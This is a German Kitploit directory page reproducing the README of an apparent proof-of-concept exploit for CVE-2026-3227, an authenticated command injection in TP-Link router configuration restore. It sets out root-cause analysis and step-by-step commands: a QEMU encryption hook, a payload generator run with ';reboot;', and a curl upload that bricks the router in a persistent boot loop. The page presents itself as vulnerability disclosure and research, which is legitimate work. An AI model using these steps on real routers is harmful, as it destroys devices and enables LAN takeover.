Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-3227-TP-Link-authenticated-RCE | Kitploit
Tools/GitHubGitHub/do4choo/cve-2026-3227-tp-link-authenticated-rce
IoT-SicherheitSchwachstellenanalyseExploitationReverse EngineeringWebanwendungs-ExploitationPenetrationstestsLernen & BildungFirmware-AnalyseBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubdo4choo/cve-2026-3227-tp-link-authenticated-rce

CVE-2026-3227-TP-Link-authenticated-RCE

Repository anzeigen
4212vor 1 MonatVon Kitploit geprüft

CVE-2026-3227: TP-Link Router OS-Befehlsinjektion

CVE Status Hardware Language

Weitere Informationen finden Sie unter https://www.cve.org/CVERecord?id=CVE-2026-3227

Eine persistente, authentifizierte OS-Befehlsinjektion-Schwachstelle in der TP-Link-Router-Firmware, die zu Geräteausfall (Bricking) oder potenzieller LAN-Übernahme führen kann.

Haftungsausschluss: Dieses Repository enthält Proof-of-Concept (PoC)-Code für eine gepatchte Schwachstelle. Es dient nur zu Bildungszwecken und für Sicherheitsforscher.

Zusammenfassung

Eine Befehlsinjektions-Schwachstelle existiert im Konfigurations-Backup/Wiederherstellungsmechanismus mehrerer TP-Link-Router (einschließlich TL-WR802N, TL-WR841N und TL-WR840N). Ein Angreifer mit Administratorzugriff kann die Konfiguration des Routers herunterladen, entschlüsseln, einen bösartigen OS-Befehl (maximal 15 Zeichen) in bestimmte XML-Felder injizieren, wieder verschlüsseln und zurück auf das Gerät hochladen.

Wenn der Router die Konfiguration anwendet (z. B. bei Port-Trigger-Ereignissen oder beim Start), wird die injizierte Nutzlast als Root ausgeführt. Dies kann verwendet werden, um eine persistente Bootschleife zu verursachen (dauerhaftes Bricking des Geräts, das auch Werksresets übersteht) oder möglicherweise eine persistente Hintertür für LAN-Pivoting zu ermöglichen.


Der Entdeckungsprozess (Wie ich es fand)

Während ich die Konfigurations-Backup-Funktion des Routers erkundete, entschied ich mich, die httpd-Binärdatei und die libcmm.so-Bibliothek zu reverse-engineeren, um zu verstehen, wie Konfigurationsdateien verschlüsselt und geparst werden.

  1. Entschlüsselung: Ich habe erfolgreich ein Python-Skript geschrieben, um den Konfigurationsblob des Routers zu entschlüsseln, sodass ich die zugrunde liegende XML-Konfiguration lesen konnte.
  2. Finden der Senke: Bei der Analyse der XML-Parameter fand ich Injektionsendpunkte, die direkt ohne Bereinigung an Systemausführungsfunktionen übergeben wurden.
  3. Die Verschlüsselungsherausforderung: Den Verschlüsselungsalgorithmus nachzubilden war schwierig. Trotz Reverse-Engineering des Codes und Versuchen, den Algorithmus in Python und C neu zu implementieren, konnte ich keine verschlüsselte Datei erzeugen, die der Router akzeptierte.
  4. Der Workaround (QEMU-Hooking): Anstatt das Rad neu zu erfinden, wählte ich einen offensiven Engineering-Ansatz. Ich emulierte die Router-Architektur mit qemu-user und hookte die originale httpd-Binärdatei des Routers zur Laufzeit (create_config.c). Dies erlaubte mir, die nativen Verschlüsselungsfunktionen des Routers direkt von meinem Python-PoC aus aufzurufen und so das ursprüngliche Verschlüsselungsformat perfekt nachzuahmen.

Technischer Tiefgang / Ursachenanalyse

Die Schwachstelle liegt darin, wie das Produkt den verschlüsselten Konfigurationsblob parst und zur Laufzeit anwendet. Im Port-Trigger-Konfigurationspfad erstellt die Implementierung Shell-Befehle mit benutzerkontrollierbaren Feldern ohne ordnungsgemäße Bereinigung.

Insbesondere ruft die Funktion oal_pt_addPortTrigger auf:

root@kitploit:~
util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);

Der Formatstring %s wird mit einem Interface-String (X_TP_IfName) gefüllt, der direkt aus der hochgeladenen XML-Konfiguration geparst wird.

Der Ausführungsablauf:

  1. Hochladen: http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTrigger
  2. Parsen: oal_pt_addPortTrigger ruft forward_parsePtOpenPort auf, um Portlisten zu parsen.
  3. Ausführung: Das System erstellt den iptables-Befehlsstring und führt ihn über util_execSystem aus (das system() kapselt).

Indem die entschlüsselte XML so modifiziert wird, dass sie Folgendes enthält:

root@kitploit:~
<X_TP_IfName val=";reboot;"/>

Der Befehl wird während der Interface-Initialisierung beim Start oder bei einem Port-Trigger-Ereignis ausgeführt. Da die Nutzlast auf 15 Zeichen begrenzt ist, erfordert das Erstellen des Exploits kompakte Befehlausführungstechniken.

Proof of Concept (PoC)

Um die Verbreitung urheberrechtlich geschützter TP-Link-Binärdateien zu vermeiden, erfordert dieser PoC, dass Sie das Dateisystem des Routers selbst extrahieren, um die nativen Verschlüsselungsbibliotheken über einen benutzerdefinierten QEMU-Hook zu nutzen.

Voraussetzungen

  • qemu-mipsel und ein Cross-Compiler (gcc-mipsel-linux-gnu)
  • Python 3 und Abhängigkeiten (pip install pycryptodome)
  • Firmware extrahiert mit binwalk -Me <firmware.bin>

Schritt 1: Umgebung vorbereiten

  1. Extrahieren Sie die Ziel-Firmware und kopieren Sie das squashfs-root-Verzeichnis in 'python_utils/' dieses Projekts.
  2. Kompilieren Sie den QEMU-Hook:
    root@kitploit:~
    mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
    

Schritt 2: Böswillige Konfiguration erzeugen

  1. Melden Sie sich an Ihrem Router an und laden Sie eine Backup-Konfiguration (config.bin) herunter.
  2. Führen Sie den Payload-Generator aus:
    root@kitploit:~
    python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
    *Note: Payload must not exceed 15 characters.*
    

Schritt 3: Konfiguration per curl hochladen (die Update-Funktion meines Routers war nur ein Gimmick und hat eigentlich nichts getan).

root@kitploit:~
curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
  -F "[email protected];type=application/octet-stream"

Schritt 3: Den Exploit auslösen

  1. Sobald der Router neu startet und die Einstellungen übernimmt, navigieren Sie zu Forwarding -> Port Triggering.
  2. Fügen Sie einen neuen Port Trigger hinzu (z. B. wählen Sie "Battle.net" aus dem Dropdown) und speichern Sie.
  3. Der injizierte OS-Befehl wird als root ausgeführt. Wenn Sie ;reboot; verwendet haben, startet der Router sofort neu und gerät in eine persistente Bootschleife.
Tool herunterladen